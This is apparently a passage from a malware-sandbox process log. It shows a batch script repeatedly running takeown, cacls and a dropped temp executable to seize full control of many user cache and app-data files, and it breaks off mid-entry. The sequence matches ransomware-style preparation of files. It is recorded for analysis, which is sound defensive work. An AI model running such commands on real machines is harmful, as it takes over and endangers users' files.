C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B1.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B1.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B1.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "000000B1.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "000000B1.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "settings.dat" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "settings.dat" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_4_PNGEncoded_Data.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_4_PNGEncoded_Data.bin" /E /G Admin:F /C3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_4_PNGEncoded_Data.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "TileCache_100_4_PNGEncoded_Data.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "TileCache_100_4_PNGEncoded_Data.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AH.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AH.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AH.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "000000AH.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "000000AH.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AP.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AP.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AP.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "000000AP.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "000000AP.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B3.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B3.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B3.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "000000B3.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "000000B3.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.jfm""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.jfm" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.jfm"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "CacheStorage.jfm" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "CacheStorage.jfm" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "background.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "background.png" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000004.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000004.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000004.bin"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000004.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000004.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000F.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000F.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000F.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000000F.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000000F.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000O.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000O.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000O.bin"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000000O.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000000O.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000010.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000010.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000010.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000010.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000010.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000018.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000018.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000018.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000018.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000018.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000050.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000050.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000050.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000050.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000050.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000058.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000058.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000058.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000058.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000058.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000070.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000070.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000070.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000070.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000070.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000078.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000078.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000078.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000078.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000078.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007G.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007G.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007G.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000007G.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000007G.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007O.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007O.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007O.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000007O.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000007O.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008H.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008H.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008H.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000008H.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000008H.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000093.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000093.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000093.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000093.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000093.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "CacheStorage.edb" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "CacheStorage.edb" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Microsoft\ServiceWorkerFiles\9D44E7EB-C199-4DD1-B984-92D212B3728D\Zrtu2hQ08VU_1.bytecode""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Microsoft\ServiceWorkerFiles\9D44E7EB-C199-4DD1-B984-92D212B3728D\Zrtu2hQ08VU_1.bytecode" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Microsoft\ServiceWorkerFiles\9D44E7EB-C199-4DD1-B984-92D212B3728D\Zrtu2hQ08VU_1.bytecode"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "Zrtu2hQ08VU_1.bytecode" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "Zrtu2hQ08VU_1.bytecode" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000005.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000005.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000005.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000005.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000005.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000G.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000G.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000G.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000000G.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000000G.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000P.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000P.bin" /E /G Admin:F /C3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000P.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000000P.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000000P.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000011.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000011.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000011.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000011.bin" -nobanner3⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000011.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006H.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006H.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006H.bin"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000006H.bin" -nobanner3⤵
-
